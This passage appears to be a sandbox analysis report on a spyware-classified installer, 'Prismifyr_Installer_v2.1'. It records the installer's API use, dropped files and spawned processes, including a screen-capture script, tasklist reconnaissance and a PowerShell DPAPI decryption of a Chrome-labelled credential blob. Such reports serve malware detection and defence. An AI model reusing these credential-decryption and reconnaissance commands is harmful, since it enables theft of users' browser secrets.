Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/aria/#aria-hidden.Blocked
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/aria/#aria-hidden.ChildrenChangedWithCleanLayoutAccessibility
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/manifest/#installability-signals
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/manifest/#installability-signalsThe
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/uievents/#legacy-event-types)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270865746.0000000006B20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/webappsec-subresource-integrity/#grammardef-option-expression
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270865746.0000000006B20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/webappsec-subresource-integrity/#integrity-metadata-description
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270865746.0000000006B20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://w3c.github.io/webappsec-subresource-integrity/#parse-metadata
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webidl.spec.whatwg.org/#abstract-opdef-converttoint
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webidl.spec.whatwg.org/#abstract-opdef-integerpart
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webidl.spec.whatwg.org/#es-DOMString
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webidl.spec.whatwg.org/#es-dictionary
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webidl.spec.whatwg.org/#es-invoking-callback-functions
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webkit.org/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://webrtc.googlesource.com/src/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/LICENSE-2.0
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bluetooth.com/specifications/gatt/characteristics
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bluetooth.com/specifications/gatt/descriptors
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bluetooth.com/specifications/gatt/services
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5093566007214080
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5093566007214080ErrorEventInit7ssJ
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5636954674692096
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5644273861001216.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5682658461876224.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5718547946799104
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5738264052891648
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/6662647093133312
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/6662647093133312InputDeviceCapabilities
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.chromium.org
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ecma-international.org/ecma-262/5.1/#sec-15.1.3.4
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.khronos.org/registry/
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.opensource.org/licenses/bsd-license.php)
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8288.html#section-3
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.unicode.org/copyright.html.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/.

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Code function: 0_2_00405461 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405461

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_23dfaacd-9

System Summary

Drops large PE files

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File dump: Prismifyr_Installer_v2.1.exe.0.dr 186389504	Jump to dropped file
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	File dump: Prismifyr_Installer_v2.1.exe0.0.dr 186389504	Jump to dropped file
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File dump: Prismifyr_Installer_v2.1.exe.5.dr 186389504	Jump to dropped file

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Code function: 0_2_0040338F EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,CoUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040338F

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Code function: 0_2_00406B15	0_2_00406B15
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Code function: 0_2_004072EC	0_2_004072EC
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Code function: 0_2_00404C9E	0_2_00404C9E

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Process token adjusted: Security

Jump to behavior

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: Prismifyr_Installer_v2.1.exe.0.dr	Static PE information: Number of sections : 15 > 10
Source: Prismifyr_Installer_v2.1.exe0.0.dr	Static PE information: Number of sections : 15 > 10
Source: Prismifyr_Installer_v2.1.exe.5.dr	Static PE information: Number of sections : 15 > 10

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2395663067.0000000005221000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamed3dcompiler_47.dllj% vs Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevk_swiftshader.dll, vs Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2475862062.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameElevate.exeH vs Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2476010965.0000000002E0F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameElevate.exeH vs Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2275595296.0000000006186000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamed3dcompiler_47.dllj% vs Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2278954943.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dllb! vs Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2461234245.0000000000849000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevk_swiftshader.dll, vs Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2411787381.0000000005226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameR vs Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2478072599.0000000002E15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameElevate.exeH vs Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2400741511.0000000005220000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dllb! vs Prismifyr_Installer_v2.1 Setup 1.0.0.exe
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2476074048.0000000002E12000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameElevate.exeH vs Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: // did the user specify their own .sln file?
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: * On Windows, find the first build/*.sln file.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: glob('build/*.sln', function (err, files) {
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: return path.extname(arg) === '.sln'
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sln_path = os.path.splitext(build_file)[0] + options.suffix + ".sln"
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: # GUID is the same whether it's included from base/base.sln or
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: # foo/bar/baz/baz.sln.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: print('Usage: %s "c:\\path\\to\\project.sln"' % sys.argv[0])
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: return callback(new Error('Could not find *.sln file. Did you run "configure"?'))
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: """Generate .sln and .vcproj files.
Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sln_path = build_file_root + options.suffix + ".sln"

Source: classification engine

Classification label: mal60.adwa.spyw.winEXE@48/136@0/0

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

0_2_0040338F

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Code function: 0_2_00404722 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404722

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Code function: 0_2_00402104 CoCreateInstance,

0_2_00402104

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2996:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2364:120:WilError_03
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Mutant created: \Sessions\1\BaseNamedObjects\mfx_d3d_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6928:120:WilError_03
Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe	Mutant created: \Sessions\1\BaseNamedObjects\7b4c3a21-e2df-5efd-beb5-591edeb53a62
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7152:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6932:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3476:120:WilError_03

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

File created: C:\Users\user\AppData\Local\Temp\nsiC60A.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png" "

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000007014000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: SELECT name FROM sqlite_master WHERE type='table';

Source: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

File read: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe "C:\Users\user\Desktop\Prismifyr_Installer_v2.1 Setup 1.0.0.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe "C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe"
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist /fo csv"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe "C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1" --gpu-preferences=UAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2244,i,14912361022600860785,9095772362069922900,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /fo csv
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe "C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\Prismifyr_Installer_v2.1" --field-trial-handle=2516,i,14912361022600860785,9095772362069922900,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2512 /prefetch:3
Source: C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\Prismifyr_Installer_v2.1.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'CurrentUser')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,8